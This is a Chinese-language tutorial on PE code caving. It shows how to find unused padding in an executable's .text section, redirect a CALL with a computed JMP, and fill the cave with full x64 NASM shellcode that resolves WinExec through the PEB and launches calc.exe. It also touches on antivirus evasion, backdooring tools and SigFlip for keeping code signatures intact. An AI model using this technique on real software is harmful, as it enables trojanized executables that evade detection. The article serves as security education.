PE代码洞是PE文件补丁的一种方式,PE补丁的本质是在不修改原始源代码的情况下,直接对可编译的可执行文件,进行二进制级别的修改,以改变程序的行为、修复漏洞或添加功能。 它和PE壳技术原理有着异曲同工之妙。本篇文章主要讲解代码洞的利用过程以及原理,从而进行更好的防御。
代码洞(Code Caving)
代码洞成因以及定位
直白点来说,代码洞就是PE文件中一段全由零(0x00)或INT3断点(0xcc)、NOP(0x90)组成的空白区域,我们可以利用代码洞填充一些其他的字节码,但前提是该区域要有可执行权限,比如.text代码段,默认拥有执行权限。
这里要提出一个问题,即为什么会产生代码洞?
原因主要有两个:
- 由于编译器为了性能,会要求节区在内存和文件中的起始地址必须按特定值对齐,这通常会导致节区的
SizeOfRawData(磁盘大小)小于其VirtualSize(内存大小),或者在节区的末尾留下一段未使用的、由零字节(0x00)填充的区域。这些连续的零字节区域就是代码洞。
- 有时开发者为了后续扩展,会故意在数据段中留出较大的空白缓冲区,方便热更新。
比如这个示例中文件对其FileAlignment的值为512,那么就意味着每个节区在磁盘中的大小必须为512的整数倍

而text节的实际大小(VirtualSize)为:0x18B0,需要再补充0x150字节的数据,才能实现文件对其,而这0x150字节的数据则全由0x00进行填充,填充后的总大小为0x1A00,也就是SizeOfRawData的值,所以text区域的代码洞大小为0x150=347字节

直接查看text的末尾即可看到该段填充数据

稍微补充以下关于0x00和0x90,0xcc的区别:
0x00 是空字节,通常用于填充未使用的内存区域,或者在数据结构之间进行内存对齐。它是由于内存分配和未初始化数据的结果。
0x90 是NOP指令,通常用于占位或修改程序执行流,常见于代码洞、调试过程中的控制流跳过,或恶意代码注入。
0xcc是调试断点指令,用于中断程序执行,通常由调试器使用,如果0xCC出现在一个程序的空白区域,尤其是一些没有实际执行代码的区域,它就可以被视为代码洞的一部分。
通常来讲大面积的0x90和0xcc区域一般不会出现,所以我们在进行代码洞利用时,一般是寻找可执行节区的0x00区域。
这里可以使用笔者开发的一个小工具:https://github.com/R0x7e/SearchCodeCaving
该工具能够直接找出PE文件中的代码洞位置,以及大小,工具虽简单,但方便直观。

在以上的内容中,讲述了PE代码洞的成因,以及如何定位代码洞,接下来我们要讲述,如何利用代码洞插入额外的shellcode,并进行执行
代码洞利用
先说思路,后面再进行步骤演示,代码洞利用通常有两种方式:
- 方法 A (修改入口点 Entry Point): 修改 PE 头的 AddressOfEntryPoint,将其指向代码洞的起始地址(虚拟地址 VA),这种方式不推荐,易于检测。
- 方法 B (Inline Patching): 在原程序的某个指令处,将其替换为一条
JMP <代码洞地址> 指令。这需要计算相对偏移量。
其中方法A和PE壳的原理相似,这部分重点讲方法B,方法B的具体思路为:
- 寻找到一个足够大的代码洞区域
- 在程序中找到一个指令,然后替换为
JMP <代码洞地址>
- 编写一个payload,填充进行代码洞中,这个
payload有些讲究,内容略多,后文会进行细讲
- 执行原本被替换的指令
payload的最后一条为JMP指令,返回到原指令的下一条指令地址
- 代码洞执行完成,程序恢复运行状态
寻找跳板
寻找代码洞的步骤上述内容已经做过了,不再赘述,这里直接寻找一个指令,该指令作为跳板指令,然后修改该指令为JMP <代码洞地址>,由于JMP指令会占用5字节,所以我们要寻找的指令长度必须>=5字节,比较合适的指令为JMP或者CALL,虽然这两个指令长度并非固定,如JMP中的短跳2字节,间接跳等,但这并非本文的重点,总之这两种指令是作为寻找跳板指令的最优解。
为了寻找合适的跳板指令,我们这里可以直接使用ida打开目标程序,由于ida默认只显示汇编代码(如 call sub_401000),不显示机器码(如 E8 05 00...),所以需要修改设置,方便确认指令长度,具体开启的步骤为:
- 点击顶部菜单 Options -> General。
- 在右侧找到 **Number of opcode bytes。
- 将默认的
0 改为 8。
- 点击 OK。

那么在这时就可以直接看到汇编指令对应的机器码了

为了方便寻找,这里按下ALT+T,搜索CALL指令,选中Find ALL选项

在寻找替换指令时,需要注意,该指令一定要会执行,(可以通过ida进行分析),否则后面的操作就是白搭,这里我们选择一个call TargetFunction指令进行替换

.text:00000001400014BB E8 D0 FF FF FF call TargetFunction
这是我们已经基本确定了跳板指令,接下来在计算我们要修改CALL指令的偏移量以及代码洞中的payload执行完之后的回调地址(当前执行的下一条指令地址)。
计算当前指令地址:
首先计算当前指令的地址,当前exe文件的imagebase为140000000h,在ida中看到当前指令的VA地址为1400014BBB,那么当前跳板指令的相对虚拟地址RVA为0x14BB
计算公式:0x1400014BB (VA) - 0x140000000 (基址) = **`0x14BB
有了指令RVA之后,然后再计算当前指令在磁盘文件中的地址,即文件偏移,计算公式为:文件偏移 = RVA - text 节VirtualAddress + PointerToRawData
text节的VA为:1000h,PointerToRawData为600h,所以当前指令在磁盘文件中的地址为:0x14BB - 0x1000 + 0x600 = 0xABB,如果不确定计算结果可以通过010 editor进行验证,在010 editor中按下Ctrl+G,输入ABB,可以看到搜索的机器码为E8 D0 FF FF FF,和ida中查看的结果一致

以上计算步骤,得到了当前指令的RVA为:0x14BB,磁盘文件地址为:0xABB,接下来在计算代码洞的地址。
代码洞地址计算
代码洞的地址计算就相对简单了一些,代码洞的RVA地址为:VA+VirtualSize,VA为:1000h,VirtualSize为:18B0h,那么代码洞的RVA为:28B0h,
JMP指令相对偏移计算
我们需要将当前call TargetFunction修改为JMP <代码洞地址>,就需要计算出当前指令以及代码洞之间的相对偏移量,相对偏移量的计算公式为:
偏移量 = 目标地址 - 源地址 - 5
- 源地址 (Source RVA):
0x14BB (跳板位置)
- 目标地址 (Target RVA):
0x28B0 (你的代码洞位置)
- 指令长度:
5 字节 (E9 指令长度)
计算结果为:0x13F0,然后此地址填充进JMP指令中,由于PE文件是小端序进行存储的,所以在16进制填充时需要填充的内容为E9 F0 13 00 00
在ida中,右击该指令,然后点击Patching-->Change byte,可以直接对当前机器码进行修改

修改后的内容为:

点击ok,然后依次点击Pathcing -- > apply pathes to...将修改后的PE文件保存到本地

编写代码洞的payload
我们需要编写一个payload,用于填充到代码洞中,该payload主要功能为:
- 保存现场,将关键寄存器的值保存到栈中
- 执行弹出计算器的操作,这是我们代码洞利用的目的
- 恢复现场,从栈中恢复寄存器
- 执行被我们修改和替换的汇编指令
跳转到被修改的指令的下一条地址中,从而使程序继续正常往下运行
这里采用汇编的方式编写payload代码,一下是对不同功能的代码进行了拆解:
保存现场,将关键进寄存器的值保存到栈中:
asm
pushfq
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
设置栈帧并对齐栈
asm
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 预留足够的局部空间和影子空间
and rsp, -16 ; 16字节对齐
通过PEB(进程环境块)查找Kernel32.dll的基址
```asm
mov rax, [gs:0x60] ; RAX = PEB地址
mov rax, [rax + 0x18] ; RAX = PEB_LDR_DATA
mov rax, [rax + 0x20] ; RAX = InMemoryOrderModuleList第一个条目
find_k32_loop:
; 遍历已加载模块链表
mov rsi, [rax + 0x50] ; RSI = BaseDllName.Buffer(Unicode字符串指针)
test rsi, rsi ; 安全检查:确保指针有效
jz short next_mod
; 简化检查:检查"kernel32.dll"中的'3'字符(Unicode)
; "kernel32.dll"中'3'是第7个字符,Unicode偏移=6*2=0x0C
cmp word [rsi + 0x0C], 0x33 ; 0x33 = '3'的Unicode
je short found_k32
```
next_mod:
mov rax, [rax] ; 移动到链表下一个条目(Flink)
jmp find_k32_loop
found_k32:
mov rbx, [rax + 0x20] ; RBX = DllBase(Kernel32.dll基址)
**解析Kernel32.dll导出表, 定位WinExec函数地址**
; 获取PE头偏移
mov r8d, [rbx + 0x3C] ; R8D = e_lfanew(NT头偏移)
; 获取导出表RVA
mov r8d, [rbx + r8 + 0x88] ; R8D = 导出表RVA(DataDirectory[0])
add r8, rbx ; R8 = 导出表虚拟地址
; 获取函数名数组
mov r9d, [r8 + 0x20] ; R9D = AddressOfNames RVA
add r9, rbx ; R9 = 函数名数组地址
xor rdx, rdx ; RDX = 当前索引
find_winexec_loop:
; 遍历导出函数名
mov r10d, [r9 + rdx * 4] ; R10D = 函数名RVA
add r10, rbx ; R10 = 函数名字符串地址
; 比较字符串"WinExec"(7个字符)
mov rax, [r10] ; 读取前8字节
mov r11, 0x00FFFFFFFFFFFFFF ; 7字节掩码(忽略第8字节)
and rax, r11
mov r11, 0x636578456E6957 ; "WinExec"的小端十六进制
cmp rax, r11 ; 比较
je short found_winexec ; 找到匹配
inc rdx ; 下一个函数
jmp find_winexec_loop
found_winexec:
; 通过名称索引获取序号
mov r10d, [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r10, rbx
movzx rdx, word [r10 + rdx * 2] ; 获取序号(零扩展)
; 通过序号获取函数地址
mov r10d, [r8 + 0x1C] ; AddressOfFunctions RVA
add r10, rbx
mov r10d, [r10 + rdx * 4] ; R10D = WinExec函数RVA
add r10, rbx ; R10 = WinExec实际地址
**调用WinExec执行计算器**
```asm
; 构建"calc.exe\0"字符串
xor rax, rax ; RAX清零
push rax ; 字符串终止符
mov rax, 0x6578652E636C6163 ; "calc.exe"(小端序)
push rax ; 压入字符串
; 设置参数(Windows x64调用约定:RCX, RDX, R8, R9)
mov rcx, rsp ; 参数1:lpCmdLine("calc.exe")
mov rdx, 5 ; 参数2:uCmdShow = SW_SHOW
; 调用约定要求:调用前分配32字节影子空间
sub rsp, 0x20 ; 分配影子空间
call r10 ; 调用WinExec
add rsp, 0x20 ; 清理影子空间
恢复原始环境
mov rsp, rbp ; 恢复栈指针
pop rbp ; 恢复基址指针
; 恢复所有寄存器(逆序)
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
popfq
执行被修改的指令,并跳转到下一条指令的地址中,从而恢复程序运行
db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF ; call 原始目标函数
db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF ; jmp 返回原始位置
完整汇编代码为:
; 在内存中动态定位 Kernel32.dll,查找 WinExec 并弹出计算器
[BITS 64]
SECTION .text
global _start
_start:
; 1. 保存原始环境
pushfq
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
; 2. 建立新栈帧并进行 16 字节对齐
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 预留足够的局部空间和 Shadow Space
and rsp, -16 ; 强制 16 字节对齐 (x64 API 调用必须)
; 3. 查找 Kernel32.dll 基址 (通过 PEB)
mov rax, [gs:0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB_LDR_DATA
mov rax, [rax + 0x20] ; RAX = InMemoryOrderModuleList (指向第一个模块)
find_k32_loop:
mov rsi, [rax + 0x50] ; RSI = BaseDllName.Buffer (Unicode 字符串指针)
test rsi, rsi ; 防御检查:如果指针为空则跳过
jz short next_mod
;'3' 在 "kernel32.dll" 的 Unicode 偏移是 0Ch (第7个字符)
cmp word [rsi + 0x0C], 0x33 ; 比较是否为 '3'
je short found_k32
next_mod:
mov rax, [rax] ; RAX = Flink (下一个模块)
jmp find_k32_loop
found_k32:
mov rbx, [rax + 0x20] ; RBX = DllBase (Kernel32 基址)
; 4. 解析导出表获取 WinExec
mov r8d, [rbx + 0x3C] ; R8D = NT Header Offset
mov r8d, [rbx + r8 + 0x88] ; R8D = Export Directory RVA
add r8, rbx ; R8 = Export Directory VA
mov r9d, [r8 + 0x20] ; R9D = AddressOfNames RVA
add r9, rbx ; R9 = AddressOfNames VA
xor rdx, rdx ; RDX = Name Index (从 0 开始计数)
find_winexec_loop:
mov r10d, [r9 + rdx * 4] ; R10D = 导出函数名 RVA
add r10, rbx ; R10 = 导出函数名 VA
; 比较字符串 "WinExec"
mov rax, [r10]
mov r11, 0x00FFFFFFFFFFFFFF ; 7 字节掩码 (WinExec 是 7 字符)
and rax, r11
mov r11, 0x636578456E6957 ; "WinExec" 的 Hex (小端序)
cmp rax, r11
je short found_winexec
inc rdx
jmp find_winexec_loop
found_winexec:
; 通过索引从 Ordinal Table 获取序号
mov r10d, [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r10, rbx
movzx rdx, word [r10 + rdx * 2]
; 通过序号从 Address Table 获取函数地址
mov r10d, [r8 + 0x1C] ; AddressOfFunctions RVA
add r10, rbx
mov r10d, [r10 + rdx * 4] ; R10D = WinExec RVA
add r10, rbx ; R10 = WinExec 真实 VA
; 5. 执行 WinExec("calc.exe", 5)
xor rax, rax
push rax ; 放入 NULL 终止符
mov rax, 0x6578652E636C6163 ; "calc.exe"
push rax
mov rcx, rsp ; 参数 1: lpCmdLine (指向栈上的字符串)
mov rdx, 5 ; 参数 2: uCmdShow (SW_SHOW)
sub rsp, 0x20 ; 提供 32 字节 Shadow Space
call r10 ; 调用 WinExec
add rsp, 0x20 ; 清理 Shadow Space
; 6. 恢复现场
mov rsp, rbp
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
popfq
; 补上被替换掉的 call TargetFunction
; 相对偏移 = 目标 - (当前指令地址 + 5)
; 计算: 1490 - (当前VA + 5)
db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF
; 跳回主程序返回点
; 相对偏移 = 目标 - (当前指令地址 + 5)
; 偏移 = 14C0 - (2994 + 5) = -14D9 (hex)
db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF ; jmp 1400014C0
然后将其命名为payload2.asm进行编译为二进制文件:
nasm -f bin payload2.asm -o payload2.bin
代码洞填充
通过010 editro 复制为16进制

从此处进行插入,实际上从0x90处插入也可以,但为了方便后续计算,从0x00处插入更为简单

粘贴自16进制数据,不能直接ctrl+v进行粘贴

粘贴后的内容如下,然后ctrl+s保存

运行程序,弹出计算器,hello world正常运行

讲到这里,大家更关心的可能还是这种方式的规避能力如何,于是我将利用前后进行了一个对比,当然这里仅作为对比,不具备实战性的参考,因为在写入实际的shellcode后,其特征会有明显的差异。


相关成熟的工具
在上文中尽量通过手工的方式进行代码洞利用,便于理解其中的原理,以及具体的操作过程,关于代码洞利用,这并不是一项新的技术,反而是早已成熟的方案,在github已可以找到多个成熟的工具,这里贴一些相关的工具:
- Backdoor-factory kali可安装
- shellter kali可安装
- PE-infector https://github.com/MastMind/PE-infector
PeInjector https://github.com/JonDoNym/peinjector代码洞利用的缺陷
--------
代码洞的仅通过不同节区之间的空隙填充shellcode,但有时候会遇到空隙大小不足以填充我们的shellcode,这时候可以采用新增一个节区的方式,但这种方式也存在弊端,即对PE文件的改动较大,大小与原文件不一致,通过代码洞不会改变原文件的大小,另外对于已签名的程序进行修改会破环程序的签名,但这也有相关的应对方法,由于PE文件的证书表不参与哈希计算,如果可以将shellcode填充进行证书表中,那么将不会破坏PE文件的证书,这种技术已有成熟的工具SigFlip。